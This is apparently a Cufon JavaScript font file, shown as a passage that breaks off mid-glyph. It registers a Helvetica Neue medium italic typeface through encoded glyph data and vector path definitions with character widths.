Y>w[a!W0q=B_ZED+Y{LvW>e:LhavW>e:L>WKLVBoCOB_ZEDcZ>Hfu3k:ZhZjo+-vW>e:YM=vW>e:Y[@0kka4L_B_ZED{aOB_ZED+YXF_~>jvW>e:YM~!u3k:ZhL1Y=B_ZED1LOB_ZEDOY1DvW>e:LV~:u3k:ZhY!wEzzZO=vW>e:Y{-1u3k:ZhC:u3k:Zhbj^,wH9E=jW!~vW>e:YVoiu3k:ZhYBZ(WvW>e:Y>~*u3k:ZhZ:V=B_ZED.LK;|u3k:ZhwXu3k:Zhb_V+CMk!TZ=1FvW>e:Y+.vW>e:Y[o9u3k:Zhk!u3k:ZhY:^-B_ZED.Z_;Du3k:ZhZMu3k:ZhoOY_xc)na:RhO!8(wc8KBFq>ezvE_c)nezRE_:){BOR{W!y(BnqVwfLcjnR3O:y3ZT^,!GyVY0Ycj|y[!|uc@I#nW,W_:f8>H0q[F1LV;.v,a!RMTXu(jfR(11)M1fWh=[eD(Eb-h3wo8)Za#qC~K>k=VuYLyRvW^9@.c+1O{n0F74z;f|:BX[!_M,xjiGHT*IW(.zRMa.WhO|Rcj0R,a!R{-;LK1FL{TX8E;Fqh:G8X;F8VWRY_;Fu=!Tv-;Fuu!F8(1@")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":556,"face":{"font-family":"helveticaneue","font-weight":500,"font-style":"italic","font-stretch":"normal","units-per-em":"1000","panose-1":"2 0 6 3 0 0 0 0 0 0","ascent":"800","descent":"-200","x-height":"14","bbox":"-133 -947 1002 217.535","underline-thickness":"50","underline-position":"-100","slope":"-12","stemh":"90","stemv":"114","unicode-range":"U+0020-U+00FF"}}));
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"718,-457r-186,0v8,-66,-28,-119,-115,-119v-141,0,-194,163,-194,276v0,92,27,162,132,162v78,0,138,-54,151,-126r186,0v-40,183,-155,279,-363,279v-113,0,-292,-57,-292,-322v0,-230,141,-422,383,-422v179,0,300,84,298,272","w":741},{"d":"144,-573r-154,0r27,-130r154,0xm357,-573r-154,0r27,-130r154,0","w":259},{"d":"385,-763r-128,0r145,-146r146,0r83,146r-125,0r-45,-82xm762,-714r-85,408v-40,192,-98,321,-356,321v-186,0,-289,-93,-289,-206v0,-60,10,-103,20,-150r81,-373r186,0r-83,382v-7,34,-18,71,-18,109v0,53,40,85,107,85v128,0,150,-95,174,-208r77,-368r186,0","w":741},{"d":"408,-120r0,-185r-360,0r0,-144r504,0r0,329r-144,0","w":600},{"d":"380,-729r-189,903r-293,0r27,-144r141,0r129,-615r-136,0r27,-144r294,0","w":370},{"d":"506,-264r186,0v-39,181,-152,276,-355,278v-13,18,-29,32,-40,51v58,-14,114,16,114,72v0,114,-164,100,-244,61r25,-44v29,10,46,20,78,20v21,0,50,-10,50,-35v0,-34,-46,-37,-74,-24r-22,-25r59,-78v-111,-15,-246,-89,-246,-319v0,-230,141,-422,383,-422v179,0,300,84,298,272r-186,0v8,-66,-28,-119,-115,-119v-141,0,-194,163,-194,276v0,92,27,162,132,162v78,0,138,-54,151,-126","w":741},{"d":"308,-47r170,0v-2,149,-108,236,-288,236v-144,0,-229,-64,-229,-179v0,-140,83,-163,176,-213v41,-22,68,-56,71,-97r158,0v-12,107,-53,146,-164,204v-40,20,-71,45,-71,97v0,39,30,58,73,58v70,0,99,-39,104,-106xm424,-534r-37,176r-175,0r37,-176r175,0","w":574},{"d":"762,-714r-85,408v-40,192,-98,321,-356,321v-186,0,-289,-93,-289,-206v0,-60,10,-103,20,-150r81,-373r186,0r-83,382v-7,34,-18,71,-18,109v0,53,40,85,107,85v128,0,150,-95,174,-208r77,-368r186,0xm420,-768r-154,0r27,-130r154,0xm633,-768r-154,0r27,-130r154,0","w":741},{"d":"172,-763r-128,0r145,-146r146,0r83,146r-125,0r-45,-82xm-8,0r149,-714r186,0r-149,714r-186,0","w":315},{"d":"400,15v-200,0,-386,-136,-386,-372v0,-236,186,-372,386,-372v199,0,386,136,386,372v0,236,-187,372,-386,372xm400,-80v141,0,261,-114,261,-277v0,-163,-120,-277,-261,-277v-144,0,-261,114,-261,277v0,163,117,277,261,277xm499,-303r94,0v-14,103,-91,157,-178,157v-126,0,-208,-94,-208,-214v0,-123,78,-215,206,-215v90,0,161,53,176,153r-90,0v-9,-43,-46,-58,-86,-58v-57,0,-91,46,-91,118v0,69,39,121,93,121v46,0,81,-18,84,-62","w":800},{"d":"270,-568r-128,0r145,-146r146,0r83,146r-125,0r-45,-82xm9,-211v0,-184,121,-323,309,-323v142,0,245,80,245,229v0,185,-117,320,-305,320v-144,0,-249,-73,-249,-226xm179,-217v0,59,23,107,83,107v97,0,131,-108,131,-188v0,-65,-22,-111,-86,-111v-92,0,-128,122,-128,192","w":611},{"d":"43,-555v23,-97,101,-151,217,-151v62,0,157,15,157,104v0,49,-33,89,-86,102v45,6,61,34,61,78v0,110,-110,153,-223,153v-75,0,-169,-20,-169,-111v0,-20,4,-43,6,-54r123,0v-15,43,12,70,59,70v33,0,79,-13,79,-50v0,-47,-55,-43,-96,-41r17,-82v41,3,104,2,104,-36v0,-23,-21,-38,-51,-38v-37,0,-67,22,-73,56r-125,0","w":378},{"d":"161,-144v0,41,35,54,69,54v102,1,126,-103,128,-148v-43,36,-197,-6,-197,94xm550,-398v0,119,-67,253,-67,358v0,18,4,31,7,40r-167,0v-6,-23,0,-28,-6,-50v-32,46,-83,65,-157,65v-97,0,-169,-39,-169,-146v0,-139,124,-167,257,-176v58,-4,138,1,138,-67v0,-30,-21,-50,-72,-50v-54,0,-87,16,-94,65r-161,0v27,-135,127,-175,254,-175v144,0,237,35,237,136xm311,-573r-154,0r27,-130r154,0xm524,-573r-154,0r27,-130r154,0","w":593},{"d":"425,-595v0,133,-167,154,-242,222r194,0r-20,95r-365,0v13,-60,49,-111,101,-146v46,-31,95,-53,134,-73v29,-15,73,-38,73,-76v0,-27,-23,-38,-47,-38v-51,0,-75,39,-85,84r-125,0v23,-108,98,-178,229,-179v67,0,153,20,153,111","w":378},{"d":"549,-218r-374,0v-10,69,22,118,90,118v58,0,86,-22,99,-57r166,0v-41,124,-146,172,-272,172v-144,0,-249,-73,-249,-226v0,-184,121,-323,309,-323v134,0,237,77,237,227v0,31,-2,60,-6,89xm187,-313r204,0v5,-58,-22,-106,-79,-106v-70,0,-107,41,-125,106xm320,-573r-154,0r27,-130r154,0xm533,-573r-154,0r27,-130r154,0","w":611},{"d":"-8,0r148,-714r570,0r-34,160r-384,0r-23,114r354,0r-30,144r-354,0r-28,136r387,0r-34,160r-572,0xm392,-768r-154,0r27,-130r154,0xm605,-768r-154,0r27,-130r154,0","w":685},{"d":"446,-793v29,0,52,-24,52,-52v0,-30,-23,-52,-52,-52v-29,0,-52,22,-52,52v0,28,23,52,52,52xm446,-738v-59,0,-107,-50,-107,-107v0,-59,49,-107,107,-107v58,0,107,47,107,107v0,58,-48,107,-107,107xm-77,0r417,-714r188,0r117,714r-187,0r-17,-128r-251,0r-72,128r-195,0xm396,-523r-134,257r163,0r-27,-257r-2,0","w":704},{"d":"331,-675r-32,156r107,0r-23,110r-108,0r-41,196v-5,23,-9,44,-9,62v1,41,69,24,106,24r-26,127v-105,7,-260,27,-260,-84v0,-94,42,-230,60,-325r-86,0r23,-110r86,0r33,-156r170,0","w":389},{"d":"488,-357v0,-48,-31,-79,-79,-79v-106,0,-141,182,-23,182v62,0,102,-46,102,-103xm517,-488r9,-48r94,0r-44,238v-4,17,-13,54,7,54v42,0,92,-44,92,-151v0,-160,-109,-244,-261,-244v-166,0,-274,119,-274,283v0,175,122,281,291,281v75,0,140,-24,189,-61r98,0v-71,98,-173,151,-295,151v-213,0,-388,-154,-388,-371v0,-213,171,-373,382,-373v176,0,348,117,348,302v0,228,-188,288,-247,288v-40,0,-58,-21,-64,-50v-20,27,-51,50,-96,50v-86,0,-162,-82,-162,-179v0,-117,76,-228,198,-228v51,0,93,17,123,58","w":800},{"d":"-77,0r417,-714r188,0r117,714r-187,0r-17,-128r-251,0r-72,128r-195,0xm396,-523r-134,257r163,0r-27,-257r-2,0xm402,-768r-154,0r27,-130r154,0xm615,-768r-154,0r27,-130r154,0","w":704},{"d":"-8,0r151,-714r268,0v183,0,318,82,318,302v0,222,-135,412,-418,412r-319,0xm295,-554r-83,394r123,0v161,0,208,-144,208,-237v1,-163,-103,-163,-248,-157","w":759},{"d":"351,-366v4,-41,-25,-64,-64,-63v-35,0,-77,12,-77,49v0,37,55,44,116,59v96,24,151,46,151,148v0,159,-144,188,-266,188v-132,0,-217,-50,-222,-185r156,0v-2,52,36,76,86,75v29,0,76,-11,76,-53v0,-45,-41,-48,-124,-68v-76,-18,-143,-44,-143,-142v0,-139,140,-176,251,-176v108,0,221,35,214,168r-154,0","w":537},{"d":"258,15v-144,0,-249,-73,-249,-226v1,-178,121,-288,260,-288v41,0,75,3,108,26r2,-2v-22,-36,-43,-62,-73,-90r-130,56r-44,-56r116,-50v-23,-19,-56,-40,-79,-51r142,-63v32,20,57,40,73,55r120,-52r37,59r-105,45v83,75,127,176,127,297v0,189,-104,340,-305,340xm262,-110v92,0,131,-85,131,-166v0,-45,-16,-98,-86,-98v-92,0,-128,87,-128,157v0,59,23,107,83,107","w":611},{"d":"-104,0r492,-714r656,0r-34,160r-330,0r-24,114r307,0r-30,144r-307,0r-28,136r336,0r-34,160r-519,0r27,-128r-213,0r-84,128r-215,0xm437,-266r60,-288r-22,0r-189,288r151,0","w":1019},{"d":"9,-211v0,-184,121,-323,309,-323v142,0,245,80,245,229v0,185,-117,320,-305,320v-144,0,-249,-73,-249,-226xm179,-217v0,59,23,107,83,107v97,0,131,-108,131,-188v0,-65,-22,-111,-86,-111v-92,0,-128,122,-128,192xm133,-714r177,0r99,146r-114,0","w":611},{"d":"349,27r-103,0r393,-751r103,0xm815,0r-125,0r18,-87r-206,0r19,-88r252,-244r129,0r-49,237r62,0r-20,95r-62,0xm729,-182r28,-137v-51,42,-95,92,-144,137r116,0xm46,-555v23,-97,101,-151,217,-151v62,0,157,15,157,104v0,49,-33,89,-86,102v45,6,61,34,61,78v0,110,-110,153,-223,153v-75,0,-169,-20,-169,-111v0,-20,4,-43,6,-54r123,0v-15,43,12,70,59,70v33,0,79,-13,79,-50v0,-47,-55,-43,-96,-41r17,-82v41,3,104,2,104,-36v0,-23,-21,-38,-51,-38v-37,0,-67,22,-73,56r-125,0","w":945},{"d":"-10,0r108,-519r170,0r-108,519r-170,0xm163,-573r-154,0r27,-130r154,0xm376,-573r-154,0r27,-130r154,0","w":296},{"d":"662,-655r95,-87r46,51r-96,88v27,43,44,101,44,176v0,251,-148,442,-404,442v-96,0,-173,-27,-226,-78r-102,94r-47,-48r107,-99v-30,-48,-46,-111,-46,-185v0,-237,154,-428,400,-428v69,0,162,15,229,74xm560,-468r-307,283v22,29,58,47,109,47v151,0,222,-185,198,-330xm225,-250r307,-284v-20,-27,-55,-42,-105,-42v-159,0,-226,182,-202,326","w":778},{"d":"468,-714r78,0v-13,63,-42,133,-117,133v-51,0,-101,-39,-150,-39v-16,0,-36,16,-39,41r-78,0v7,-81,83,-162,176,-119v27,12,60,28,93,28v23,0,32,-26,37,-44xm9,-211v0,-184,121,-323,309,-323v142,0,245,80,245,229v0,185,-117,320,-305,320v-144,0,-249,-73,-249,-226xm179,-217v0,59,23,107,83,107v97,0,131,-108,131,-188v0,-65,-22,-111,-86,-111v-92,0,-128,122,-128,192","w":611},{"d":"-78,0r333,-377r-167,-337r205,0r85,220r164,-220r224,0r-297,340r176,374r-211,0r-95,-237r-186,237r-231,0","w":704},{"d":"-10,0r108,-519r165,0v-4,27,-18,61,-17,85v43,-75,124,-120,220,-91r-33,150v-23,-6,-45,-10,-77,-10v-93,0,-128,59,-146,147r-50,238r-170,0","w":426},{"d":"-8,0r62,-296r-102,0r32,-144r101,0r58,-274r268,0v183,0,318,82,318,302v0,222,-135,412,-418,412r-319,0xm295,-554r-24,114r137,0r-29,144r-139,0r-28,136r123,0v161,0,208,-144,208,-237v1,-163,-103,-163,-248,-157","w":759},{"d":"286,-534r-37,176r-175,0r37,-176r175,0xm-40,174r37,-179r111,-298r83,0r-17,298r-38,179r-176,0","w":315},{"d":"39,214r0,-1000r144,0r0,1000r-144,0","w":222},{"d":"-2,0r36,-176r181,0r-36,176v-28,140,-125,177,-218,174r18,-80v57,-6,87,-37,96,-94r-77,0","w":315},{"d":"9,-211v0,-184,121,-323,309,-323v142,0,245,80,245,229v0,185,-117,320,-305,320v-144,0,-249,-73,-249,-226xm179,-217v0,59,23,107,83,107v97,0,131,-108,131,-188v0,-65,-22,-111,-86,-111v-92,0,-128,122,-128,192xm245,-568r108,-146r185,0r-179,146r-114,0","w":611},{"d":"434,-729r-25,120r-32,0v-54,0,-67,43,-72,65r-34,161v-16,88,-95,98,-132,107v25,3,90,8,90,59v0,89,-36,163,-43,246v-2,31,51,24,85,25r-25,120v-105,0,-221,16,-221,-93v0,-91,43,-167,43,-257v0,-27,-24,-41,-83,-41r25,-120v24,0,98,-6,110,-61r39,-188v37,-152,125,-147,275,-143","w":370},{"d":"228,-417r0,-101r144,0r0,101r180,0r0,144r-180,0r0,101r-144,0r0,-101r-180,0r0,-144r180,0xm48,12r0,-144r504,0r0,144r-504,0","w":600},{"d":"161,-144v0,41,35,54,69,54v102,1,126,-103,128,-148v-43,36,-197,-6,-197,94xm550,-398v0,119,-67,253,-67,358v0,18,4,31,7,40r-167,0v-6,-23,0,-28,-6,-50v-32,46,-83,65,-157,65v-97,0,-169,-39,-169,-146v0,-139,124,-167,257,-176v58,-4,138,1,138,-67v0,-30,-21,-50,-72,-50v-54,0,-87,16,-94,65r-161,0v27,-135,127,-175,254,-175v144,0,237,35,237,136xm286,-568r108,-146r185,0r-179,146r-114,0","w":593},{"d":"39,89r0,-250r144,0r0,250r-144,0xm183,-661r0,250r-144,0r0,-250r144,0","w":222},{"d":"146,15v0,40,28,62,68,62v106,0,108,-82,127,-164r-2,0v-26,42,-87,62,-136,62v-118,0,-195,-83,-195,-200v0,-149,87,-309,251,-309v68,0,133,20,159,88r2,0r14,-73r163,0r-87,419v-46,219,-116,282,-306,282v-111,0,-231,-33,-228,-167r170,0xm261,-140v84,0,124,-79,124,-158v0,-60,-25,-106,-81,-106v-87,0,-126,85,-126,163v0,55,22,101,83,101","w":611},{"d":"250,-729r149,0v-126,166,-215,360,-215,592v0,136,13,203,34,311r-136,0v-35,-99,-52,-206,-52,-311v0,-233,81,-410,220,-592","w":315},{"d":"-10,0r151,-714r170,0r-55,256r2,2v23,-35,86,-78,177,-78v93,0,149,57,149,146v0,142,-55,257,-80,388r-170,0r59,-275v19,-59,13,-129,-52,-129v-105,0,-117,99,-135,184r-46,220r-170,0"},{"d":"276,-520v-44,19,-126,7,-126,57v0,20,16,31,41,31v53,0,77,-35,85,-88xm419,-622v0,76,-48,172,-38,260r-125,0v-2,-10,-2,-19,-1,-29v-40,21,-77,38,-123,38v-48,0,-107,-12,-107,-86v0,-46,35,-92,87,-107v44,-12,95,-15,146,-24v20,-4,34,-10,34,-29v0,-45,-101,-32,-108,7r-118,0v24,-93,87,-114,198,-114v84,0,155,7,155,84","w":376},{"d":"560,-909r78,0v-13,63,-42,133,-117,133v-51,0,-101,-39,-150,-39v-16,0,-36,16,-39,41r-78,0v7,-81,83,-162,176,-119v27,12,60,28,93,28v23,0,32,-26,37,-44xm-77,0r417,-714r188,0r117,714r-187,0r-17,-128r-251,0r-72,128r-195,0xm396,-523r-134,257r163,0r-27,-257r-2,0","w":704},{"d":"-5,0r37,-176r183,0r-37,176r-183,0","w":315},{"d":"-8,0r149,-714r186,0r-149,714r-186,0xm20,-909r177,0r99,146r-114,0","w":315},{"d":"-73,198r25,-44v29,10,46,20,78,20v21,0,50,-10,50,-35v0,-34,-46,-37,-74,-24r-22,-25r68,-90r57,0v-17,22,-37,41,-52,65v58,-14,114,16,114,72v0,114,-164,100,-244,61","w":259},{"d":"118,-87r-60,-60r44,-45v-67,-85,-69,-223,-3,-311r-45,-44r60,-60r45,44v83,-67,229,-67,312,0r43,-44r60,60r-44,44v65,83,66,225,0,308r44,44r-60,60r-44,-44v-81,66,-223,67,-307,3xm194,-349v0,81,54,135,121,135v67,0,121,-54,121,-135v0,-81,-54,-135,-121,-135v-67,0,-121,54,-121,135"},{"d":"230,-490r-170,0v2,-152,108,-239,288,-239v144,0,229,64,229,182v0,140,-83,163,-176,213v-41,22,-68,56,-71,97r-158,0v12,-107,53,-146,164,-204v40,-20,71,-45,71,-97v0,-42,-30,-61,-73,-61v-70,0,-99,39,-104,109xm114,0r37,-176r175,0r-37,176r-175,0","w":574},{"d":"128,-568r-128,0r145,-146r146,0r83,146r-125,0r-45,-82xm-10,0r108,-519r170,0r-108,519r-170,0","w":296},{"d":"-10,0r150,-714r170,0r-78,370v63,-55,118,-118,179,-175r210,0r-235,204r130,315r-185,0r-78,-209r-60,50r-33,159r-170,0","w":574},{"d":"376,0r-180,0r95,-449r-167,5r26,-125v108,-3,188,-26,235,-128r139,0"},{"d":"153,0r27,-131r-176,0r22,-105r176,0v9,-25,3,-49,-5,-72r-156,0r21,-105r104,0r-87,-301r186,0r65,301r2,0r191,-301r186,0r-212,301r103,0r-21,105r-156,0v-14,21,-33,38,-35,72r176,0r-22,105r-176,0r-27,131r-186,0"},{"d":"553,-909r78,0v-13,63,-42,133,-117,133v-51,0,-101,-39,-150,-39v-16,0,-36,16,-39,41r-78,0v7,-81,83,-162,176,-119v27,12,60,28,93,28v23,0,32,-26,37,-44xm-16,0r149,-714r191,0r167,467r2,0r89,-467r180,0r-149,714r-191,0r-165,-467r-2,0r-91,467r-180,0","w":741},{"d":"602,-519r-110,519r-163,0v3,-23,15,-52,13,-71v-38,58,-100,86,-170,86v-141,0,-155,-108,-155,-136v0,-149,53,-261,77,-398r170,0r-59,288v-12,56,-17,116,49,116v72,0,102,-50,118,-123r60,-281r170,0xm143,-714r177,0r99,146r-114,0"},{"d":"366,-168r-79,-136v-44,21,-93,52,-93,108v0,89,135,79,172,28xm421,-362r60,98v21,-22,35,-52,44,-81r151,0v-17,72,-59,151,-118,204r92,141r-184,0r-26,-41v-148,110,-416,55,-416,-154v0,-114,93,-186,191,-222v-22,-35,-39,-72,-39,-114v0,-120,90,-198,205,-198v91,0,195,37,195,174v0,95,-79,159,-155,193xm432,-556v0,-40,-22,-58,-53,-58v-36,0,-59,22,-59,62v0,26,8,51,39,90v35,-22,73,-49,73,-94","w":704},{"d":"332,-283r-33,154v46,0,108,-22,108,-80v0,-47,-38,-63,-75,-74xm311,-456r28,-129v-51,0,-92,22,-92,73v0,33,22,45,64,56xm194,100r19,-89v-159,-17,-242,-109,-231,-251r184,0v-2,57,30,95,77,106r35,-164v-132,-41,-217,-82,-217,-194v2,-173,148,-243,307,-236r13,-63r57,0r-14,67v113,12,209,80,203,225r-176,0v2,-54,-23,-75,-56,-85r-30,144v115,30,228,65,228,211v0,177,-167,244,-324,244r-18,85r-57,0"},{"d":"33,-301v0,-237,154,-428,400,-428v124,0,318,46,318,302v0,251,-148,442,-404,442v-199,0,-314,-117,-314,-316xm219,-300v0,92,44,162,143,162v134,0,203,-160,203,-273v0,-106,-38,-165,-138,-165v-144,0,-208,158,-208,276xm379,-763r108,-146r185,0r-179,146r-114,0","w":778},{"d":"549,-218r-374,0v-10,69,22,118,90,118v58,0,86,-22,99,-57r166,0v-41,124,-146,172,-272,172v-144,0,-249,-73,-249,-226v0,-184,121,-323,309,-323v134,0,237,77,237,227v0,31,-2,60,-6,89xm187,-313r204,0v5,-58,-22,-106,-79,-106v-70,0,-107,41,-125,106xm245,-568r108,-146r185,0r-179,146r-114,0","w":611},{"d":"33,-301v0,-237,154,-428,400,-428v124,0,318,46,318,302v0,251,-148,442,-404,442v-199,0,-314,-117,-314,-316xm219,-300v0,92,44,162,143,162v134,0,203,-160,203,-273v0,-106,-38,-165,-138,-165v-144,0,-208,158,-208,276","w":778},{"d":"-52,168r28,-128v22,3,43,4,65,4v51,0,55,-23,76,-57r-96,-506r173,0r39,365r2,0r155,-365r178,0r-264,495v-79,144,-103,198,-273,198v-28,0,-55,-3,-83,-6xm258,-568r108,-146r185,0r-179,146r-114,0","w":537},{"d":"-77,0r417,-714r188,0r117,714r-187,0r-17,-128r-251,0r-72,128r-195,0xm396,-523r-134,257r163,0r-27,-257r-2,0xm377,-763r108,-146r185,0r-179,146r-114,0","w":704},{"d":"65,-281v0,-51,42,-93,93,-93v51,0,93,42,93,93v0,51,-42,93,-93,93v-51,0,-93,-42,-93,-93","w":315},{"d":"-10,0r108,-519r170,0r-108,519r-170,0xm138,-568r108,-146r185,0r-179,146r-114,0","w":296},{"d":"119,-568r108,-146r185,0r-179,146r-114,0","w":259},{"d":"602,-519r-110,519r-163,0v3,-23,15,-52,13,-71v-38,58,-100,86,-170,86v-141,0,-155,-108,-155,-136v0,-149,53,-261,77,-398r170,0r-59,288v-12,56,-17,116,49,116v72,0,102,-50,118,-123r60,-281r170,0xm330,-573r-154,0r27,-130r154,0xm543,-573r-154,0r27,-130r154,0"},{"d":"9,-211v0,-184,121,-323,309,-323v142,0,245,80,245,229v0,185,-117,320,-305,320v-144,0,-249,-73,-249,-226xm179,-217v0,59,23,107,83,107v97,0,131,-108,131,-188v0,-65,-22,-111,-86,-111v-92,0,-128,122,-128,192xm320,-573r-154,0r27,-130r154,0xm533,-573r-154,0r27,-130r154,0","w":611},{"d":"168,-182v3,42,35,66,81,66v96,0,142,-97,164,-177v-41,38,-95,62,-156,62v-119,0,-209,-78,-209,-200v0,-163,124,-275,285,-275v188,0,261,119,261,282v0,218,-131,433,-353,433v-118,0,-236,-56,-236,-191r163,0xm212,-452v0,65,41,106,98,106v72,0,120,-50,120,-124v0,-54,-44,-98,-104,-98v-73,0,-114,54,-114,116"},{"d":"169,-697r443,0r-30,144r-304,0r-40,119v37,-32,82,-44,129,-44v125,0,208,79,208,210v0,172,-142,277,-305,277v-144,0,-269,-60,-265,-221r165,0v5,53,41,83,114,83v74,0,121,-53,121,-120v0,-62,-37,-104,-103,-104v-57,0,-83,21,-107,50r-152,0"},{"d":"-8,0r149,-714r186,0r-116,554r334,0r-34,160r-519,0","w":593},{"d":"-11,0r149,-714r186,0r-54,260r248,0r54,-260r186,0r-149,714r-186,0r61,-294r-248,0r-61,294r-186,0","w":741},{"d":"-8,0r149,-714r186,0r-149,714r-186,0xm182,-763r108,-146r185,0r-179,146r-114,0","w":315},{"d":"278,27r-103,0r393,-751r103,0xm916,-317v0,133,-167,154,-242,222r194,0r-20,95r-365,0v13,-60,49,-111,101,-146v46,-31,95,-53,134,-73v29,-15,73,-38,73,-76v0,-27,-23,-38,-47,-38v-51,0,-75,39,-85,84r-125,0v23,-108,98,-178,229,-179v67,0,153,20,153,111xm238,-278r-125,0r51,-245r-109,0r19,-90v63,1,134,-20,151,-84r100,0","w":945},{"d":"79,-468r131,140r-31,148r-186,122r29,-139r106,-70r-74,-80xm276,-468r131,140r-31,148r-186,122r29,-139r106,-70r-74,-80","w":444},{"d":"602,-519r-110,519r-163,0v3,-23,15,-52,13,-71v-38,58,-100,86,-170,86v-141,0,-155,-108,-155,-136v0,-149,53,-261,77,-398r170,0r-59,288v-12,56,-17,116,49,116v72,0,102,-50,118,-123r60,-281r170,0"},{"d":"354,-706v116,0,256,35,256,178v0,83,-62,146,-138,162v70,15,112,78,112,149v0,174,-151,226,-296,226v-130,0,-285,-33,-285,-200v0,-108,81,-165,174,-185v-51,-19,-86,-66,-86,-122v0,-147,133,-208,263,-208xm349,-418v60,0,107,-31,107,-88v0,-57,-52,-75,-100,-75v-53,0,-111,19,-111,82v0,64,47,81,104,81xm302,-313v-64,0,-129,31,-129,107v0,76,62,90,118,90v67,0,123,-33,123,-106v0,-66,-57,-91,-112,-91"},{"d":"-8,0r148,-714r570,0r-34,160r-384,0r-23,114r354,0r-30,144r-354,0r-28,136r387,0r-34,160r-572,0xm367,-763r108,-146r185,0r-179,146r-114,0","w":685},{"d":"618,-485r-162,0v15,-59,-14,-100,-79,-100v-55,0,-91,37,-91,91v0,31,9,61,17,91r135,0r-24,105r-103,0v10,70,-33,117,-83,163v63,-33,133,6,199,6v34,0,66,-14,94,-35r45,122v-59,45,-100,57,-170,57v-73,0,-142,-39,-215,-39v-46,0,-75,11,-114,35r-48,-106v81,-48,135,-105,122,-203r-100,0r22,-105r64,0v-13,-32,-22,-67,-22,-103v0,-140,147,-223,273,-223v157,0,273,84,240,244"},{"d":"-43,-714r177,0r99,146r-114,0","w":259},{"d":"469,-714r78,0v-13,63,-42,133,-117,133v-51,0,-101,-39,-150,-39v-16,0,-36,16,-39,41r-78,0v7,-81,83,-162,176,-119v27,12,60,28,93,28v23,0,32,-26,37,-44xm161,-144v0,41,35,54,69,54v102,1,126,-103,128,-148v-43,36,-197,-6,-197,94xm550,-398v0,119,-67,253,-67,358v0,18,4,31,7,40r-167,0v-6,-23,0,-28,-6,-50v-32,46,-83,65,-157,65v-97,0,-169,-39,-169,-146v0,-139,124,-167,257,-176v58,-4,138,1,138,-67v0,-30,-21,-50,-72,-50v-54,0,-87,16,-94,65r-161,0v27,-135,127,-175,254,-175v144,0,237,35,237,136","w":593},{"d":"389,-763r-128,0r145,-146r146,0r83,146r-125,0r-45,-82xm33,-301v0,-237,154,-428,400,-428v124,0,318,46,318,302v0,251,-148,442,-404,442v-199,0,-314,-117,-314,-316xm219,-300v0,92,44,162,143,162v134,0,203,-160,203,-273v0,-106,-38,-165,-138,-165v-144,0,-208,158,-208,276","w":778},{"d":"364,-198r165,0v-32,149,-134,214,-275,213v-13,17,-29,31,-40,50v58,-14,114,16,114,72v0,114,-164,100,-244,61r25,-44v29,10,46,20,78,20v21,0,50,-10,50,-35v0,-34,-46,-37,-74,-24r-22,-25r60,-79v-114,-17,-192,-90,-192,-222v0,-184,121,-323,309,-323v131,0,232,65,233,204r-165,0v1,-48,-27,-77,-76,-79v-100,-3,-131,101,-131,180v0,75,29,119,86,119v54,0,86,-35,99,-88","w":574},{"d":"762,-714r-85,408v-40,192,-98,321,-356,321v-186,0,-289,-93,-289,-206v0,-60,10,-103,20,-150r81,-373r186,0r-83,382v-7,34,-18,71,-18,109v0,53,40,85,107,85v128,0,150,-95,174,-208r77,-368r186,0xm233,-909r177,0r99,146r-114,0","w":741},{"d":"161,-144v0,41,35,54,69,54v102,1,126,-103,128,-148v-43,36,-197,-6,-197,94xm550,-398v0,119,-67,253,-67,358v0,18,4,31,7,40r-167,0v-6,-23,0,-28,-6,-50v-32,46,-83,65,-157,65v-97,0,-169,-39,-169,-146v0,-139,124,-167,257,-176v58,-4,138,1,138,-67v0,-30,-21,-50,-72,-50v-54,0,-87,16,-94,65r-161,0v27,-135,127,-175,254,-175v144,0,237,35,237,136xm124,-714r177,0r99,146r-114,0","w":593},{"d":"552,-449r0,144r-504,0r0,-144r504,0xm552,-201r0,144r-504,0r0,-144r504,0","w":600},{"d":"-10,0r108,-519r170,0r-108,519r-170,0xm-24,-714r177,0r99,146r-114,0","w":296},{"d":"272,-706v85,0,163,37,163,131v0,136,-107,222,-237,222v-86,0,-162,-39,-162,-134v0,-133,109,-219,236,-219xm252,-611v-58,0,-91,54,-91,105v0,36,19,58,57,58v58,0,92,-57,92,-104v0,-32,-17,-59,-58,-59","w":387},{"d":"762,-714r-85,408v-40,192,-98,321,-356,321v-186,0,-289,-93,-289,-206v0,-60,10,-103,20,-150r81,-373r186,0r-83,382v-7,34,-18,71,-18,109v0,53,40,85,107,85v128,0,150,-95,174,-208r77,-368r186,0xm360,-763r108,-146r185,0r-179,146r-114,0","w":741},{"d":"157,0r57,-270r-165,-444r192,0r85,297r199,-297r223,0r-350,444r-57,270r-184,0xm314,-763r108,-146r185,0r-179,146r-114,0","w":648},{"d":"295,-568r-128,0r145,-146r146,0r83,146r-125,0r-45,-82xm602,-519r-110,519r-163,0v3,-23,15,-52,13,-71v-38,58,-100,86,-170,86v-141,0,-155,-108,-155,-136v0,-149,53,-261,77,-398r170,0r-59,288v-12,56,-17,116,49,116v72,0,102,-50,118,-123r60,-281r170,0"},{"d":"33,-301v0,-237,154,-428,400,-428v124,0,318,46,318,302v0,251,-148,442,-404,442v-199,0,-314,-117,-314,-316xm219,-300v0,92,44,162,143,162v134,0,203,-160,203,-273v0,-106,-38,-165,-138,-165v-144,0,-208,158,-208,276xm217,-909r177,0r99,146r-114,0","w":778},{"d":"313,-409v-74,11,-110,100,-109,180v0,40,8,93,48,113xm203,116r22,-105v-119,-17,-191,-99,-191,-231v0,-192,124,-314,305,-314r17,-79r57,0r-18,83v112,17,179,86,181,201r-165,0v1,-36,-14,-65,-42,-76r-62,295v44,-6,70,-41,82,-90r165,0v-31,148,-131,215,-274,215r-21,101r-56,0"},{"d":"354,-568v-135,0,-168,235,-168,317v0,70,27,122,90,122v135,0,167,-236,167,-324v0,-68,-28,-115,-89,-115xm357,-706v176,0,250,101,250,269v0,222,-115,446,-347,446v-158,0,-238,-112,-238,-262v0,-196,109,-453,335,-453"},{"d":"-16,0r149,-714r191,0r167,467r2,0r89,-467r180,0r-149,714r-191,0r-165,-467r-2,0r-91,467r-180,0","w":741},{"d":"605,-714r-99,485v-34,168,-127,244,-294,244v-94,0,-212,-37,-212,-185v0,-32,5,-73,14,-112r171,0v-19,60,-31,145,45,144v56,0,77,-28,90,-91r99,-485r186,0","w":593},{"d":"396,-531r-231,238r182,0r51,-238r-2,0xm453,0r-170,0r33,-155r-321,0r29,-136r387,-406r187,0r-84,404r90,0r-28,138r-91,0"},{"d":"-15,0r150,-714r351,0v128,0,206,86,206,213v0,180,-133,270,-307,270r-165,0r-49,231r-186,0xm289,-561r-37,177r131,0v86,0,